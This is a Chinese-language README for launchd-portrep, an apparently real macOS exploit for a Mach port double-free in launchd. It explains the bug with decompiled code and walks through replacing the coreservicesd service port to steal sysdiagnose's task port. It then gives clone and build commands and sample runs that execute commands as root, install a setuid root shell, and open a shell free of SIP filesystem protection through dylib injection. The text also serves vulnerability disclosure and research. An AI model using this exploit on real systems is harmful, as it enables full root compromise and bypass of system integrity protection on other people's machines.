launchd-portrep 是一个针对 macOS 初始用户空间进程和服务管理守护进程 launchd 中端口替换漏洞的利用程序。通过向引导端口发送精心构造的 Mach 消息,可以迫使 launchd 释放攻击者同样拥有发送权限的任何 Mach 端口的发送权限。这使得攻击者能够冒充其可查找到的任意 launchd 服务与系统其余部分通信。
Launchd 在其主端口上多路复用多个不同的 Mach 消息处理程序,其中包括一个用于异常消息的 MIG 处理程序。如果某个进程向其自身的引导端口发送 mach_exception_raise 或 mach_exception_raise_state_identity 消息,launchd 会将该消息作为主机级异常接收并处理。
遗憾的是,launchd 对这些消息的处理存在缺陷。如果异常类型为 EXC_CRASH,launchd 会释放消息中发送的线程和任务端口,然后从服务例程返回 KERN_FAILURE,导致 MIG 系统再次释放线程和任务端口。(假设是:如果服务例程返回成功,则它已取得 Mach 消息中所有资源的所有权;而如果服务例程返回错误,则它未取得任何资源的所有权。)
以下是 launchd 处理 mach_exception_raise 消息的服务例程的代码,使用 IDA/Hex-Rays 反编译并稍作编辑以提高可读性:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) 服务例程被调用时,
mach_port_t exception_port, // 参数直接来自客户端发送的
mach_port_t thread, // Mach 消息。
mach_port_t task, // 线程和任务端口可以是
unsigned int exception, // 任意的发送权限。
mach_exception_data_t code, //
unsigned int codeCnt)
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Host-level exception raised: pid = %d, thread = 0x%x, "
"exception type = 0x%x, codes = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) 释放消息中发送的
if ( kr ) // "thread" 端口。
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) 释放消息中发送的
if ( kr ) // "task" 端口。
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) 如果异常类型为 10
result *= 5; // (EXC_CRASH),则返回错误
} // KERN_FAILURE。
return result; // MIG 将再次释放端口。
} //
这种对端口名称的双重释放是有问题的,因为进程可以在异常消息中随意设置任务和线程端口。Launchd 不会检查收到的发送权限是否确实对应一个线程和一个任务;例如,这些端口可以是 launchd 自身 IPC 空间中已有端口的发送权限。那么双重释放实际上会导致 launchd 丢弃其自身某个端口的一个用户引用。
这个漏洞可以被利用来释放 launchd 对任何攻击进程也拥有发送权限的 Mach 端口的发送权限。特别地,如果攻击进程可以使用 launchd 查找系统服务,那么它可以释放 launchd 对该服务的发送权限,然后向系统其余部分冒充该服务。之后存在许多不同的途径来获取系统权限。
这个漏洞是 CVE-2016-7637 的一个不那么通用的版本,后者是 Ian Beer 发现的 XNU 中 Mach 端口用户引用处理问题,允许进程释放其他进程中的 Mach 端口。Ian Beer 在 macOS 上利用那个漏洞,替换了 launchd 对 com.apple.CoreServices.coreservicesd 端点的发送权限,并向系统其余部分冒充 coreservicesd。Coreservicesd 是一个有吸引力的目标,因为它是少数几个客户端会通过 Mach 消息发送其任务端口的服务之一。通过将 launchd 对 coreservicesd 的发送权限替换为攻击者自己的端口,然后触发特权客户端查找并与 coreservicesd 通信,他能够获取特权进程的任务端口,并在该进程内执行代码。
由于 macOS 上的行为没有改变,我基本上复制了 Ian Beer 对此漏洞的利用策略。我们向 launchd 发送包含 coreservicesd 服务端口的异常消息,直到释放 launchd 对该端口的发送权限。我们可以通过再次调用 bootstrap_look_up() 来检测是否成功释放了权限:如果 launchd 返回一个无效的端口名,那么我们就成功释放了 launchd 对该端口的发送权限。然后,我们反复向 launchd 注册和注销大量服务,直到我们注册的某个服务在 launchd 的 IPC 空间中被分配与原始 coreservicesd 端口相同的 Mach 端口名。此时,任何在 launchd 中查找 com.apple.CoreServices.coreservicesd 的进程都会收到一个指向我们伪造服务的发送权限,而非真正的 coreservicesd。然后我们在伪造的服务端口上运行一个 MITM 服务器,在将消息转发到真正的 coreservicesd 之前检查从客户端收到的所有 Mach 端口。接着我们向 sysdiagnose 发送一条消息,使其运行 tailspin,这会导致 sysdiagnose 连接到我们伪造的 coreservicesd 端口并将它的任务端口发送给我们。由于 sysdiagnose 拥有 task_for_pid-allow 授权,我们现在可以获取任意进程的任务端口。
为了(大致)恢复系统的正常功能,我们使用 sysdiagnose 获取 launchd 的任务端口,然后利用 launchd 的任务端口将 launchd 对我们伪造服务端口的发送权限替换回指向真正 coreservicesd 的发送权限。这样,未来的客户端才能实际访问到 coreservicesd。
我注意到这种方法有一个问题:系统在关机时会短暂挂起。我推测这是因为篡改 launchd 的端口搞乱了 launchd 的某些记账或端口通知。我尚未进一步调查此问题,但使用 launchctl 重启 coreservicesd 似乎可以解决:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
一旦我们在一个 task_for_pid-allow 进程中实现了代码执行,我们就能控制系统上的任何任务。这非常棒,因为不仅可以进行标准的权限提升,还可以通过向具有 SIP 授权的进程注入代码来绕过 SIP。
此利用程序展示了两种潜在用途:以 root 身份执行系统命令和 dylib 注入。要执行系统命令,我们只需在 sysdiagnose 内部调用标准的 system() 函数,并将用户提供的命令字符串传递给它。要向某个进程注入 dylib,我们在 sysdiagnose 内部调用 task_for_pid() 获取目标的任务端口,然后使用该任务端口对所提供库调用 dlopen()。
要构建独立的利用程序 launchd-portrep,运行 make。请参阅 Makefile 顶部了解各种构建选项。你需要先下载并构建 threadexec 注入库。
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
注意,如果 sysdiagnose 进程已经在运行,此利用程序会失败。因此,对于此概念验证,请务必在运行利用程序前杀死 sysdiagnose。(可以重新设计利用程序使其在 sysdiagnose 已运行时仍能工作,但为了阻止该工具被用于恶意目的,我决定不加入此功能。)
通过指定要执行的命令(如同传递给 system() 函数一样)来运行利用程序:
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
或者,如果你指定一个 PID 和一个动态库文件的绝对路径,launchd-portrep 会将 dylib 注入到指定的进程中。
还有两个示例脚本封装了 launchd-portrep:launchd-portrep-rootsh.sh 和 launchd-portrep-rootless.sh。
launchd-portrep-rootsh.sh 将在 /var/suid-sh 下安装一个 setuid-root shell 启动器,从而提供一个传统的 root shell。(setuid shell 会在 1 秒后自动删除。)
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh 更加有趣:它提供一个文件系统上无根限制已被禁用的 shell。它通过生成 diskmanagementd(该进程拥有 com.apple.rootless.install.heritable 授权),然后向 diskmanagementd 注入一个 dylib,使其生成一个 stdin 和 stdout 绑定到命名管道的 shell。正如授权名称所示,com.apple.rootless.install.heritable 带来的 SIP 豁免会传递给子进程,这意味着该 shell 以及你在其中运行的所有命令基本上都不受 SIP 文件系统保护。